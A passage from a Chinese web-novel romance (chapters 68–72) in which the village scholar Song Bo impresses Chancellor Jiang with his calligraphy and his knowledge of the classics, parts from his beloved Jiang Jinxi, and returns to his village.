气氛沉静下来,吃饭的速度便快了许多,江丞相吃完饭就准备回书法处理公事,却被江金熙叫着,“爹爹,你等一下。” “何事。”江丞相顿住步伐。 江金熙回头瞧了青桥一眼,青桥便退出了膳厅,等他再回来之时,手上多了个托盘,托盘上放着的正是下午青桥拿出去加上绸缎的宋泊的书法作品。 “这是?” 江金熙从椅子上站了起来,站到青桥旁边,拍马屁儿着道:“这是我寻得的书法,知爹爹爱字,便拿来让爹爹瞧瞧,请爹爹帮我评鉴评鉴。” “你哪里懂什么字,别给别人骗了去。”江丞相说着,抓着卷轴的上杆,将卷轴拉开来,卷轴内容展现在江丞相面前,简简单单的“天道酬勤”,却让他惊得说不出话来。 他见过无数名家字画,就属这副字中灵气最足,写下此字的人定然年纪不大,字中没有历尽沧桑的圆滑,而是饱含着提点他人的精神气,字或许不是最好的,但字中的气确是最上乘的。 “你买这副字花了多少银两?”江丞相问。 “一分未花。”江金熙答。 “怎么可能。”江丞相说,能写出这般字的人对自己的水平肯定有所了解,不可能平白无故白给江金熙。 江金熙没有回答江丞相的问题,而是反问着:“你瞧这字如何,可称得上一个‘好’字?” 江丞相也不吝啬夸奖,他豪言道:“此字已然了得,执笔之人再练上几年,定能成恒国第一大家。” 江金熙就等着听这句话,他道:“这字是宋泊写的。” 宋泊写的? 江丞相听得清清楚楚,顿时觉着自己手中拿了个烫手山芋,真是拿也不得,扔也不得。 “他让我将此字拿来,讨你欢心。”江金熙说,见着江丞相的反应,他心底暗暗偷笑,爹爹定是喜欢这副字画,不然早就将这卷轴丢到十万八千里以外了。 “这字好像也没那么好瞧了。”江丞相嘴上梆硬,手上动作却极轻,他小心翼翼地将字放在桌上,整面放好免得出了褶皱。 “爹爹,他并非寻常农户,他腹中有墨、脑子有谱,是个才子。”江金熙趁热打铁。 江丞相余光又瞅了眼字,心中知道能写出这般字的人定然不凡,只是他还是不能仅凭一副字,就把自己的宝贝哥儿交出去,他梗着脖子道:“一副字算不得什么,他可有功名在身?” “未曾。”江金熙老实回答,“可他已在准备科举,拥有功名是迟早的事儿。” 江金熙本来想说等明年宋泊下场,定能夺得榜一,可这话说出去,倒显得他有些盲目相信宋泊,没准反而拉了爹爹对宋泊的好感,念此,他便按下了这话。 江丞相看着站在他面前的江金熙,说:“科举岂是那么容易的事儿?” 见爷俩终于静下来将事儿摊开来说,江夫人心底高兴,她动作轻柔地给江丞相倒了杯水,又拉着江金熙在江丞相对面坐下,轻轻地拍了拍他的肩膀。 江丞相喝了口水,说:“写字跟科举不能等同而论,他写了手好字,并不能代表他一定能考中当官。” “我知的,但他很有毅力,他答应我的事儿从未食言过。”江金熙说,他眼眸闪闪看着江丞相,口中话尽显真诚。 “你今年才十七。”江丞相说:“外头有的是弯弯肠子的人,你到南面儿去不过半年,就看透那人了吗?” “我相信他的。”江金熙说,他确实年轻,经历不足可能会迈入别人设置的陷阱之中,可凭心而论,年轻就是得有股冲动劲,再者说他相信自己的眼睛,相信自己的感觉,宋泊定是他命中注定那人。 江丞相摇了摇头,只觉着自家哥儿正在热恋之中,什么话也听不进去。 这可不能谈崩了来,江夫人赶紧出言搭话:“金囝你这么相信他,改日你让他上门来,让你爹亲自问问他,看看他是不是个科举的料子。”说罢她歪头看向江丞相,“老爷你说如何?” 这确实是个好法子,江金熙也跟着江夫人一齐歪头瞧着江丞相,“爹爹,我觉着娘亲说的可行。”既要让江丞相答应见宋泊,就得适当地捧着他一些,“爹爹这般火眼金睛,定能瞧出他是‘人’是‘鬼’。” “行了,别拍马屁了。”江丞相遭不住江夫人与江金熙两人两眼放光的瞧着他,看在那副字的面子上,勉为其难见上一面也成,“喊他来吧。” 江金熙忍住没有欢呼出声,他拉着江丞相的手臂,说:“那爹爹你何时有空,我便喊他何时来。” 小辈见长辈当然要迎合长辈的时间,更何况江丞相还不是普通长辈,他身居高位,每日公事处理不尽,江金熙提前问个明白,还能帮宋泊给爹爹留下一个好的印象。 江丞相想了想,说:“三日后休沐,就那日早晨来吧。” “好!”江金熙应声。 “让青桥去叫,你还是得在院子里待着。”江丞相说。 “爹爹!”江金熙嘟嘴。 “这事没得商量。”江丞相说完从椅子上起来,他把宋泊的字重新卷好拿在手中,“既是送我的,我便拿了。”说罢他便拿着卷轴出了膳厅。 江夫人见江丞相走路都带了点儿小顿,没忍住说道:“瞧给他美的。” “爹爹很高兴吗?”江金熙问,他没瞧出爹爹与往常有何不同,背影还是很宽广,走路都带着股官场上的肃气。 “你看仔细些,你爹脚尖点地呢。”江夫人戳穿起自家夫君也是毫不留情,她夫君哪儿都好,就是沾了男子通有的坏毛病,将面子看得很重。 经江夫人这么一说,江金熙确实发觉爹爹脚下有几分不同。 江夫人转头与洪嬷嬷说了句话,洪嬷嬷出去喊了婢女进来收拾膳厅。 江夫人会帮江金熙说话,完全是因着不想自家哥儿受苦,至于宋泊那面儿,她倒是没什么感觉,不过如果宋泊真是个文人才子,那江金熙瞧对了人,也是美事一件,因此,江夫人拉过江金熙提点了几句,“还三日,你定叫他好好准备,临时抱抱佛脚也比没抱来着强。”虽然江夫人并不觉着三日能学到什么东西,但安慰江金熙的话还是要说的。 江金熙一歪身子,脑袋靠在江夫人的肩膀上,他撒娇道:“谢谢娘亲,帮我在爹爹面前美言。” “你可是我身上掉下来的肉,我不帮着你谁帮着你。”江夫人捏着江金熙的脸颊,软乎乎的触感让她忍不住感叹道:“以前还跟在我身后追着喊娘亲的金囝,一转眼便这么大了,都有定情的情郎了。” “什么呀,我现在也能追着娘亲喊娘亲。”江金熙蹭着江夫人的肩膀,笑道。 “那你喊。” “娘亲~” “听不着。” “娘亲~” “诶,我的好金囝。” 第69章 第六十九章准备。 为了两日后宋泊能顺利通过江丞相的考验,翌日一早,宋泊便收着江金熙送来的东西,满满一箱的书,被青桥放在他的房间中。 “我家公子还有封信给你。”青桥从怀里拿出江金熙写的信,递给宋泊后他便功成身退,离开客栈回府复命。 宋泊先坐在椅子上,打开江金熙给的信瞧着,信里说了这厢书的来历,并且喊他两日后携礼上门,江丞相有话要问他,大抵是要看看他除了写字以外,还有什么别的才华。 宋泊也是没想到,自己的字确实入了江丞相的眼,并非他妄自菲薄,只是古代人才辈出,江丞相或许瞧过比他还好的字。幸好,那字入了江丞相的眼,两日后的见面便是他敲开江丞相心防的第一步。 为了迎合江丞相的喜好,江金熙还在信中特意说明江丞相喜欢什么,又考虑到宋泊剩的银两不多,江金熙让他买少些,若是银钱不够用尽管找夏烟拿,他已经交代过夏烟了。 宋泊将信通读三遍以后,才轻轻折起信纸,将这封信与前日江金熙的信放在一块儿,因着要将信收藏起来,他还特意买了个防水、防蛀的木盒子。 他家金熙总是贴心,用有限的信纸将一切都交代明白,似乎什么事都不需要他操心了。 不过见江丞相这事还需他自己发力才行,江金熙只能给他外部的辅助。 宋泊蹲在书箱边,一本一本把书往外拿,书箱里放了十来本书,闻着还有书香味儿,应是全新的刚买的书,应该是江金熙给了青桥书单,青桥一早儿去书店买来的。 江金熙不知道宋泊的水平如何,所以挑的都是些基础的书儿,临时抱佛脚也得抱得住才行,太难的知识想要短时间记住有些太为难宋泊了。 宋泊拿起其中一本,随意翻开一页,书名与现代一般,内容却有些许误差,或许是因为抄写的原因,流传至后世会有一些内容疏漏。 宋泊起了兴趣,他坐在窗边,静静看书。 白日有自然光线在,便省了点蜡烛的钱,这家客栈地处闹市,窗外小摊小贩的叫声此起彼伏,但这丝毫不影响宋泊沉浸在书籍之中,他认真得连有人敲门都未听着。 “宋公子!宋公子你在里头吗?”要不是敲门人的声音越来越大,宋泊一时半会儿还听不见声儿。 “来了。”宋泊将书反着放着,起身开了门。 敲门的是夏烟的婢女,夏烟则双手环胸站在她身后,她盯着宋泊道:“可算是开门了。” 宋泊道了声歉,瞧着门外实在热闹,除了夏烟与她的婢女以外,还站了个有些瘦弱的中年男子,那男子身上背着个小书匣,看起来像是个夫子。 确实如宋泊所料,那男子确实是个夫子,还是个京城内颇有名气的夫子,不少考中的学士都出自他的门下。 “这是小熙儿为你找的夫子,你叫他文夫子就是,文夫子学识深广,你可好好与他学着些。”夏烟道。 没想到江金熙不止送来了书,甚至还把夫子也送来了,当真是十分重视两日后江丞相的考验。 宋泊侧身一让,微微俯身、伸手,“文夫子请进。” 把文夫子送到,夏烟就找了个借口跑了,她最烦上课,听着夫子絮絮叨叨的说话声,她能直接睡着,这般读书的苦还是留给宋泊自个儿吃就好。 宋泊给文夫子倒了杯水,同时说着:“文夫子,房内条件不好,莫见怪。” “无妨,再差的地儿我也去过。”文夫子不是很在意周围环境,他接过宋泊倒的水一饮以后,就从书匣子中将教书工具拿了出来。既然是江丞相的哥儿所托,他自然会在两天以内,尽可能地将科举的基础知识塞入宋泊的脑子中。 文夫子也是第一次教农户读书,他听闻宋泊这人写了手好字,只是不知他脑海中可有跟科举有关的知识。 文夫子挑了简单的先说,他从四书五经介绍起,刚介绍起《中庸》,便被宋泊打断了来,宋泊挑了个委婉的说法,说:“文夫子,这些书我先前都接触过了,不必再从头说起。”他希望文夫子直接讲授书中内容,好让他对比一下,他以往学的与古代学的差别有多少。 文夫子挑眉,心底有一丝不悦,有些学了皮毛的人,便妄自尊大,瞧不起基础知识,殊不知一切归宗,最基础的才是最重要的,他有心想给宋泊个教训,便随便从《中庸》提了个知识出来问他。 宋泊的表现注定让文夫子的期待落了空,宋泊回答起他的问题来,十分流利,根本不像初学科举之人,江公子给他的消息有误,这是一个接近成熟的学士。 宋泊的有些观点与这时儿的观点相差甚多,文夫子最初觉着有些离经叛道,后头细细琢磨起来,却也品出了其中道理。 而文夫子也无愧他的名声,他教的人多,已然形成自己的教书模式,传授知识以来,生动有趣不显死板,内容也有深度,带着这个时代特有的底蕴。 两人忽然就学术探讨起来,文夫子也忘了自己是来授课的,与宋泊讨论到激/情的地方,他甚至还会提起笔,将宋泊说的话记下来。如此往来,两人入了神,讨论激烈,连中饭也未吃,等夜幕落下夏烟来接文夫子离开之时,两人才如梦初醒,觉着肚子饿。 听闻他们还未吃饭,夏烟睁大了眼儿,“宋泊,你不会饿了文夫子一天吧?” “无事、无事。”文夫子摆了摆手乐呵呵着,“今日我得众多,这点儿小饿算不得什么。” “不成,学识重要,身体也重要。”宋泊喊了店小二来,由他做东,请文夫子吃上一顿,“夏姑娘,你可用了餐?” “你若要请,我再吃上一顿也无妨。”夏烟也不客气,这几日她在夏府、丞相府、客栈三个地儿来回转,吃宋泊一顿也是应当。 宋泊应下,叫了五道菜一道汤。 文夫子对于宋泊点的菜也是非常满意,文人讲究的就是个轻简,铺张浪费要不得,三个人五道菜一道汤,既有了请客的面子,又不会太过浪费。 正所谓,人以类聚、物以群分,夏烟能跟江金熙玩得好,本身也没什么贵族架子,这家客栈价格便宜,所以上的菜也都是寻常小菜,夏烟却一点儿不嫌弃,手夹着筷子动作极快,没一会儿就已经喝了一碗汤吃了十几口菜。 “此宴了得,只是吃食却略显无趣!”文夫子又喝下一杯酒,道:“宋泊,我出些对子考你如何!” 这文夫子当真喜欢知识,连喝酒吃食都不忘,别人起了劲儿要摇骰子、猜拳,他起了性子却要对对子。 “成!你尽管说罢。”宋泊也不想扫文夫子的兴致,毕竟他也好久未遇着能与他谈论知识的人。 两人你一句我一句说得起劲,夏烟坐在两人之间听着却费劲,她听不懂对子的好与坏,在她的想法中,对对子只要对得上便是赢了。她边吃着饭边瞧着文夫子的神色,文夫子脸上笑意满满,宋泊每对上一个对子,他便欣然点头,像是极其满意的样子。 这可是又刷新了夏烟的认知,难道江金熙真的淘到了宝儿,这宋泊是藏在淤泥中的金子?要知道这京城内能让文夫子认可的人,可是极少极少,不过十几人。 酒过三巡,时间也过了半个时辰,夏烟还记着自己此行的目的,见两人兴致够了,她便喊店小二帮她把文夫子抗出房间。 文夫子被两个店小二夹着,还不忘回头跟宋泊说:“明日还来!还来!” “成!”宋泊应道。 * “你说文夫子很喜欢宋泊?”江金熙摊开医书的手一顿,“还说他俩对对子对到文夫子不愿回家?” “是啊!”第二日夏烟将文夫子送到客栈以后,立即马不停蹄赶到丞相府,告诉江金熙这个消息,“我可没唬你,若是你在现场,定然比我还吃惊。”她还好奇地凑到江金熙身边,挤着江金熙的胳膊,“你说实话,你真不知道宋泊的学识水平?” 江金熙哭笑不得,他答:“我真不知,不然还要你带文夫子去作甚。” “也是。”夏烟说:“我看你也甭担心明天了,要我看,宋泊通过你爹爹的考验那是板上钉钉的事儿!” “以前你还说我盲目自信呢。”江金熙笑着道:“现如今你不说了?” “那不是你火眼金睛我眼拙嘛。”夏烟说:“以后当上了官夫郞,可别忘了我呀。” “八字没一撇呢,还忘了你。”江金熙揽着夏烟的胳膊,“这几日麻烦了你,在我们之间跑来跑去的。” “好友就是这么用的,你可别愧疚啊。”夏烟回揽住江金熙,“要不然我生气呢。” “好~我知道我的夏姐姐最好了~”江金熙靠着夏烟说着,“我给你准备了你爱吃的七色圆子,犒劳犒劳你。” 这下夏烟高兴了,“好,没白疼你。” 第70章 第七十章露两手。 到了见江丞相那日,宋泊特意一大早便去了集市,买了些江丞相爱吃的水果。 笔墨纸砚丞相府不缺,倒是这些个水果儿,没去得早,买不着新鲜的。 宋泊天未亮就在集市中等着,等摊贩一来,他第一个挑选水果,他挑的都是江丞相爱吃的而且都是一筐中最好的,这般挑来买下左一些、右一些,也挑了一筐子,花去他三两,而后他又给江夫人挑了个简单的首饰,且不说江夫人会不会嫌弃,总之他得把心意送到才是。 到了约定的时间,丞相府的马车准时停在客栈底下。 因着这客栈离贵人区远离平民区近,大伙儿都没见过这般大的马车,闲来无事就围在马车边儿说着话。 宋泊拜托店小二帮他把水果扛上马车以后,便踩着轿凳上了马车。 宋泊心底儿有点紧张,在马车中将预设的问候语又顺了几遍,细细斟酌一番,一字一句读了过去确实没有问题后,他才稍微冷静些。 江丞相以后会是他的丈人,他肯定得给江丞相留下一个好印象。 马车稳稳停在丞相府门前,因着江丞相提前交代过,马车一到,就有侍人从里头将门打开来,前来引路,“宋公子,请随我来。” “我还带了些东西,不知你可否帮我喊人来抬一番。”宋泊说。 “可以*。”侍人进了府中,喊来一个男子,帮宋泊抬东西。 侍人将宋泊引到府中议事厅门口,既是谈事,自然得在专门谈事的地儿谈。 侍人先敲响了门,听到里头应了声,他才把房门打开,里头正位上坐着两个人,正是江丞相与他的夫人江夫人。 江丞相有意想要吓退宋泊,故而一直板着一张脸,嘴角下垂看起来很是不好惹。而江夫人与他不同,江夫人嘴角微微上扬,脸上带笑,瞧着宋泊来了还起身站起相迎。 之前宋泊已经跟江夫人见过一回,见江夫人迎来,他赶紧快步上去,先与江丞相行了一礼,随后与江夫人行了一礼,道:“江夫人您坐着就是。” “来了就好,不必太拘谨。”江夫人说。 “此次前来,带了点儿薄礼,请江丞相、江夫人笑纳。”宋泊从身后的侍人手中接过水果和发簪,他把发簪盒子交到江夫人的手中,沉重的水果筐则抱在怀中。 “有心了。”江夫人笑着接下发簪,而后叫人把宋泊送来的水果拿下去洗好切净在送上来,她看了眼水果,又偷瞄了眼江丞相,捧着说道:“也是巧了,这些都是江丞相爱吃的果子。” 江丞相一言不发,严肃地坐在位子上,像棵松。 “你找个位子坐吧。”江夫人可是带着自家哥儿给的任务,尽可能地缓和气氛。 边儿有婢女帮着倒了茶,宋泊未喝,只是大大方方坐着,任由江丞相打量。 江丞相确实带着上位者的官威,扫视人的眼神虽不锐利,却足以让人胆战心惊。 不过宋泊并不畏惧江丞相的审视,往后他做了官,遇到这般情况必是数不胜数,平常心对待就是。 见宋泊神色自然,江丞相想着,还算有些志气。 江丞相未说话,宋泊也没急着开口,此时便是在比着谁更沉静,他要是火急火燎地开了口,反倒还显得自己底气不足有些猴急。 两人都不开口,江夫人左瞧、右瞧先开了口,“你现在是作何营生?” “在传福镇当抄书先生。”宋泊答。 “抄书先生?这可是个不错的营生,一月想必能赚个几两银子呢?”江夫人笑道。 虽说士农工商,农排在第二,所以在田中种地也不显低劣,只是跟种地相比,抄书先生这种有专业要求的工作上等一些,既然想要考科举,自然得做些与科举有关的活儿,近水楼台先得月,抄着书其实也是种变相读书。 “回江夫人,一月大抵能赚五两。”宋泊道,他抄的书在传福镇已经有了些名声,字好看又完成得快,好些个富家人都愿意找宋泊抄书,名声传了出去,接的抄书单多了,每月的抽成也多,拼拼凑凑起来一个月可以赚五两上下,再加上张福财时不时会喊他写些书法,赚些外快,现在他已存了个小金库,若生活在小城镇里,应当是十分惬意。 “抄书先生,那你说说你都抄了些什么书。”江丞相在这时说了话。 每本过他手的书宋泊都记得清清楚楚,小小思索了一下,宋泊挑出几本较有含金量的书,那些书的内容他都清楚,如果江丞相沿着他的话问下来,倒是正中他的下怀。 宋泊想得不差,江丞相虽然有心想试探他的学识,但因着他的农户身份,所以问的都是些基础偏上的问题,寻常文人有读过几年书都能答得出来。 “在你看来,中庸之道是什么?”江丞相问。 中庸之道?那便是考《中庸》了,《中庸》作为四书之一,他在现代时早已翻来覆去看了数百遍,可他捏不准江丞相想听什么,就只能说着自己对《中庸》的理解,“中庸之道便是中不易变的意思,人生不易改变,锚定目标以后坚定不移不偏离目标线,持之以恒的永恒之道。”宋泊说着,悄悄打量江丞相的神色,江丞相没喜无怒,只是将边儿桌子上的茶水拿起来抿了一口,如此宋泊接着往下说:“中庸之道还是修身之道,俗话说过犹不及,人生在世需要中正、平和,稍有偏离就成了喜、怒、哀、乐过剩,极喜、极怒、极哀、极乐皆伤五脏,唯有中庸,才是健康之道。” 江丞相听完宋泊的话,脑袋轻微地往下点了一下,神色比之前缓和不少。 “听起来你像是研究过?”江夫人问,作为江丞相的夫人,江夫人每日耳濡目染,也学了不少知识,听宋泊一字一句说得缓慢却清晰,其中一点儿磕巴也无,可见是对这本书十分了解。 “谈不上研究,只是一些小小的见解。”宋泊谦虚道。 江丞相未做评价,只是接着往下问问题,每个他提出的问题宋泊都对答如流,若不是他派人调查过宋泊,知道他在当抄书先生以前从未读过书,江丞相都要以为他已经钻研四书五经多年。 只是说来奇怪,宋泊当抄书先生不过几月,短短几月就能将四书五经掌握得如此通透,莫不是读书的天才? 太阳渐渐偏往正中,不知不觉过去了一个时辰。 江金熙在自己院子里等得心焦,没忍住出来催道:“爹爹、娘亲,快要到中饭时候了。” 如此江丞相才断了问话,“你且先回去吧。” 宋泊也没说什么别的话,只是弯腰行了一礼,“是,今日打扰丞相。”说罢便出了议事厅,瞧着边儿站着的江金熙,他弯唇笑了,张了口小声说着:“放心,我没出错。” 没出错就已经是最大的好消息了,江金熙也同样小声地回着:“真棒。”随后他又问:“爹爹没留你吃饭?” 宋泊轻轻摇了两下头,“我先走,之后如何你再送信出来。” “好,路上小心。”江金熙答,要不是爹爹和娘亲在屋内瞧着,他肯定会忍不住上前抱住宋泊,宋泊出来时一丝怯色也无,且不说江丞相满不满意宋泊的回答,单是不畏强权这点儿就足以让他心动不已。 “行了,别说小声话了。”江丞相看不过眼,在里头说道。 听爹爹的语气不似生气,江金熙走进议事厅,卖乖地凑在江丞相身边,“爹爹,如何?” “这么迫不及待就要打探消息了?”江丞相瞥了江金熙一眼,“真是不中留,胳膊肘已经朝外拐了。” “哪儿有。”江金熙道:“我瞧你都不生气,你应该相信他能考科举了吧?” “那也不能轻易将你交给他。”江丞相答,“当初我与你娘定情三年才成了婚,你这才半年,太短!不成!” 这话倒是在理,江夫人跟着也说着:“这事儿你得听你爹的。”很多男子披了张伪皮,她在京城生活这么久,听过的负心汉一只手都数不过来,那些人装上一年、两年尚可,在长些时间难免露出狐狸尾巴,自家哥儿跟宋泊认识不过半年,而且认识的途径还不正规,确实应当再细细考虑一些。 “我也没说马上就要嫁给他呀,我只是想爹爹能解了我的禁足。”江金熙心里知道爹爹和娘亲说的话都是为他好,他也并非头脑一热上了头的听不进去道理的热恋期哥儿,只是禁足的滋味实在不好受,虽说他还能再院里看书,但瞧不着宋泊总是有些心痒痒。 “放你出去你不得天天去客栈找那个小子?”江丞相说。 自家小白菜长了腿,天天往外头跑,那哪儿成。 “我保证会少去一些!”江丞相既已经有些松口的意味,江金熙赶忙自己也后退一步,先把禁足解了,后头的事儿后头在做打算就是。 “这可是你说的。”江丞相说。 70-80 第71章 第七十一章回村。 隔日,江金熙被解了禁足,他也没着急地往外儿赶,答应江丞相的事自然得做做面子,等到下午太阳微微倾斜,未时中才出丞相府。 客栈中宋泊正在桌前读书,前两日与文夫子和江丞相见过以后,他确实发现自己有遗漏的处儿,虽然同样是那五本书,但现代与古代时代不同,对应的含义也有相应的区别,既然要考古代的科举,那他就得调整自己的知识结构,使之符合当代的观念。 正写得深入,有人开门进来,宋泊转头看去,江金熙露出半张脑袋,“我可以进来吗?” 宋泊笑着把笔往笔架上一搁,起身走到江金熙身前,牵着他的手将他牵入房中,“当然可以。” 江金熙喜滋滋地进了房,他踱步到宋泊用来写字的桌子边,低头看了眼上头的内容,“原来娘亲说的是真的。” “江夫人说了什么?”毕竟是与自己有关的评价,宋泊还是有些好奇。 江丞相死要面子,不与江金熙说他对宋泊的感觉,江金熙就只能曲线救国,转而去问他娘亲,好在娘亲是站在他这侧的,他一问,娘亲就将考验的全过程告诉了他,顺便还配上了几句自己的评价。 其中让江金熙印象最深刻的,便是娘亲说宋泊是个未来可期的才子。 “她说你是个才子。”江金熙转了个身子,跟宋泊并肩坐下,他用空着的手捏了下宋泊的胳膊,“你明明这么厉害,却瞒着我。” 这宋泊可就不依了,他侧身与江金熙面对面看着,“天地良心,我可从未瞒过你,我不过运气好,江丞相问的都是我曾经看过的书,这般才能答得上来。” 江金熙斜眼看了下宋泊,心中也不是真的生气,“运气也是实力的一部分,要不是爹爹对你满意了,今日我还出不来呢。” 说来确实,宋泊还以为今日只能等到江金熙的信,却没想着直接是他本人来了,“如此看来,我们的计划成功了第一步。” “什么计划?”江金熙问,他可不记得他与宋泊定了什么计划。 宋泊身子微斜,轻轻靠在江金熙的身上,说:“赢得江丞相、江夫人的好感,让他们把你嫁给我的计划。” 唰地一下,江金熙的脸颊和耳朵都爆红起来,“什么呀,这才哪儿到哪儿。” “等我考个功名不过两年,很快的。”宋泊算了算日子,明年二月参加县试、四月参加府试、八月参加院试,若是顺利的话,后年参加乡试中了举,那便有官儿做了。 听宋泊讲来像是去集市买了个菜般简单,江金熙便说道:“哪儿那么简单。” “确实不简单,所以我得努力读书,加紧在两年内完成目标。”宋泊道,上次他与江金熙说过他在京城住不过半月,现在中间事儿一耽搁,也过去了十几日,至多再有五日,他就得收拾收拾启程回近里村。这事儿摆在了面前,就算宋泊再怎么不乐意说,也得再提出来,与江金熙商量。 “我觉着爹爹不会同意让我跟你一起回去的。”这几日在院里禁足,江金熙早已想过这事儿,其实他想与宋泊一块儿回去不仅仅是因为要陪着宋泊一起读书,还有一个原因便是想回去看看他的常乐和草药苗子们,不知道这一个多月过去,常乐有没有变大只,草药苗子们有没有顺利长大,这些草药苗子可是他的第一笔生意,虽然小但也到底是个生意,或许能赚些银两回来。不过从爹爹知道他与宋泊定情以后的反应来看,他若是在这时提出要与宋泊一起回村,爹爹肯定会大怒,到时候就不知道要禁足禁多久了,如此想来,他回村的事儿似乎只能往后延了。 “无妨,这来回也吃苦,你在京城中待着等我再来找你就是。”宋泊道。 “你知道我不怕吃苦。”江金熙应道,“你也别忙着回来,读书时间宝贵,来一趟回一趟又耽搁去一月,你等我想办法回村。”宋泊体谅他,他自也舍不得宋泊吃苦。按宋泊所说,两年时间,一分一秒都是黄金,这来回一月,浪费多少不必要的时间在路中,与其如此还不如他自己找了法子回村。 “暂且这般定着,之后如何再说。”宋泊道。 计划再完美也总是赶不上变化,现下说得好好的,没准一月过去就发生了变化。 “也是。”江金熙应着。 这时间似箭,一眨眼五日便过去了,宋泊身上的银两花得差不多,只剩了些回村途中的盘缠。 宋泊收拾着自己的东西,江金熙站与一旁瞧着,帮他记着东西有没有全都塞进行囊内。 等宋泊将自己的东西都收拾好了以后,江金熙才让青桥把他准备的东西拿来,其中有宋泊往后用得上的书和吃食,吃食有腊肉、腊肠,还有一些干货,让宋泊在路上应急时候吃。 午时末,宋泊与江金熙一同在客栈吃了午饭,而后宋泊便得启程出发。 回程的马车并不奢华,只是因着被马拉着,而称为马车,宋泊长腿一跨,上了马车,他掀着车帘子,忙叫江金熙回去。 江金熙看着车厢内的宋泊,一想着这一去便得三月未见,他便跟着也上了车厢。 “你上来”宋泊的话还未说出口,就一抹柔软沾上了他的唇。 江金熙的嘴唇很软,但他没有什么亲吻的技巧,只是单纯的嘴唇贴着嘴唇。 江金熙悄悄睁了眼,见宋泊双眼离他极近,正一眨不眨地盯着他瞧,他忽然起了一股羞耻心,就打算逃走。 宋泊哪儿能轻易放江金熙离开,他环住江金熙的腰,让他与自己更近些,接着重新侧着头吻上江金熙的唇,宋泊其实也未吻过人,只是没吃过猪肉还没见过猪跑吗,他无师自通地敲开江金熙的牙关,舌尖碰着江金熙的巧舌共舞,气息交换之间,江金熙的手从宋泊的手臂之下穿过,环住了他宽厚的背。 过了一会儿宋泊觉察着江金熙不懂得换气,这才松了唇,给他换气的间隙。 江金熙靠在宋泊胸前,满脸红晕,刚刚主动吻人完全是他一时冲动,冷静下来以后,他便觉着不好意思。 宋泊牵住江金熙的手,指尖从他的指缝中穿过,两人十指相扣,宋泊道:“我定会努力读书,考取功名在京城买下宅子,娶你进门。” 江金熙回牵住宋泊的手,说:“那我便等着了。” 两人在车厢里腻着,直到车夫催人,江金熙才舍不得地起身准备下车。 “金熙。”宋泊唤。 “嗯?”江金熙弯着腰转过身来。 宋泊屁股微抬,身体前倾,又在江金熙的唇上落下轻轻一吻,“记得等我。” 江金熙笑了,他猛猛地点了个头,应道:“嗯。” 江金熙站在原地一眨不眨地瞧着马车,马车渐行渐远,他虽然有些难过,却还是得振作起来好好学习,不然到时宋泊成了官,他还在原地踏步被宋泊甩开来可不成。 等马车瞧不着影子了,江金熙才领着青桥转身。 青桥瞧着自家主子红润的唇,不解地问了句,“公子,你的唇怎的这般红?” 江金熙的耳朵动了动,说:“没事,刚刚咬着了。” “噢,那公子你可得小心些。”青桥道。 宋泊离开以后,江金熙总觉着他未走,因为夏烟每日都会拿一封信来,那信是宋泊之前写好的,每日一封,每封信虽然不长,却没有什么重复的内容,其中心意不言而喻。难怪当时他一直瞧着宋泊在写东西,凑近看时却发现没什么异常,现在想来,他看了几次,宋泊放在头张的都是同一张,真正写的东西该是藏在头张纸底下了。 只能说宋泊实在有心,可越是这般,江金熙就越是想他。 今日是宋泊离开的第十天,江丞相从朝堂回来,看着心情不错,江金熙便试探着跟江丞相提了句要回村的事儿,果不其然被江丞相毫不留情地拒了。 “解你禁足已是让步,回近里村的事没得商量。”江丞相双眼圆瞪,“借此事也正好能考验他一番,想要娶你,至少得考到京中来。” “可那得两年”江金熙小声驳道。 “他若是两年就能中举,我便当真考虑考虑这门亲事。”江丞相说。 宋泊确实有才华,可并非每个有才华的人都能顺利中举,每年死磕在科举上的人数不胜数,甚至还有人考了几十来年考中以后疯了去的,若宋泊真能在两年内考中,那便说明此人确有实力,到时他才会真正将宋泊放在儿婿的位子上。 “爹。”江金熙还想靠着撒娇让江丞相心软。 江丞相自知自己对着自家哥儿容易心软,便一拂袖去了书房,眼睛见不着就不会心软。 “你就等他上京吧,村中生活那般苦,你回去做什么呢?”江夫人不舍得自己的哥儿去村中吃苦,在这事儿上,她便站在江丞相那侧,劝着江金熙。 江金熙知道今日无望,他也没在硬争,说了句“知道了”就回了房。 第72章 第七十二章回家。 宋泊出了京城就换了牛车,马车太贵,牛车虽然慢些,但胜在便宜,他也不赶时间,慢慢悠悠晃着回去也成。 沿途风景不错,带着古代特有的原生态美,宋泊就这般坐在车上,偶尔看看风景,大多时候都是在牛车上看书。 近来天气不错,一路上他也没吃什么苦,就这么悠了二十日,牛车终于稳稳到了近里村。 宋泊一下车便到了宋茶栽家,既已回来,自然得先跟大姑打个招呼。只是他还没到宋茶栽家,就有一只小黄狗瞧着他,朝他飞奔而来,那亲热的劲儿,一下就让宋泊想起了常乐。 宋泊试探地唤了声,“常乐。” 常乐的尾巴摇得更欢了,它跑到宋泊身边,蹭着他的裤脚,尾巴带动着屁股一直晃动,再加上咧着嘴伸着个粉色的舌头,十分讨喜。 这狗就是长得快,离时还没到他小腿肚子高的小狗儿,现在却已经过了他的膝盖。 见着常乐,宋泊便想起了江金熙,本来是打算让他带着常乐去京城的,现在江金熙在京城,而常乐还在村中。 无妨,等他考进了京,常乐还是能去京城陪江金熙的。 宋泊弯下膝盖,摸着常乐的脑袋,常乐高昂着头,舌头一直舔着宋泊的手心,没一会儿宋泊就满手口水,他哭笑不得地将手晾在一旁,等着去宋茶栽家洗手。 宋泊一起身,常乐也跟着有了动作,它亦步亦趋地跟在宋泊身后,见着宋茶栽家时才撒了欢迈着步子进去。 “乐乐。”院子里传出宋茶栽的声音,“这么高兴,捡着骨头了?” “大姑,我回来了。”宋泊在常乐后头出现。 宋茶栽逗狗的动作一顿,听着声抬起头来,站在院门口的人确实是宋泊。 将近一月没见着宋泊,宋泊好像白了些、瘦了些,身量更高了,面容更俊了,身上带着一股墨香,要不是她认识宋泊,她真要以为是哪家的公子迷了路,到村中问路来了。 宋茶栽往后一瞧,没见着江金熙,想必是江金熙没有跟着回来。这样倒也正常,若她是江金熙的娘,她也不愿意自家哥儿从锦衣玉食的家里到村中吃苦。 不过想归想,宋茶栽也没说出来引宋泊难过,虽说她并不觉得距离会影响宋泊与江金熙的感情,但异地总是不好受。 “回来了?事儿都解决好了?”宋茶栽帮着将行囊从宋泊的身上拿下来。 宋泊与宋茶栽一块儿走进屋内,屋内还是熟悉的草药香,令人安心。 宋泊答:“都处理好了。” “这次回来安心读书了?” “大姑你可与百书阁说了我的事?”宋泊问。 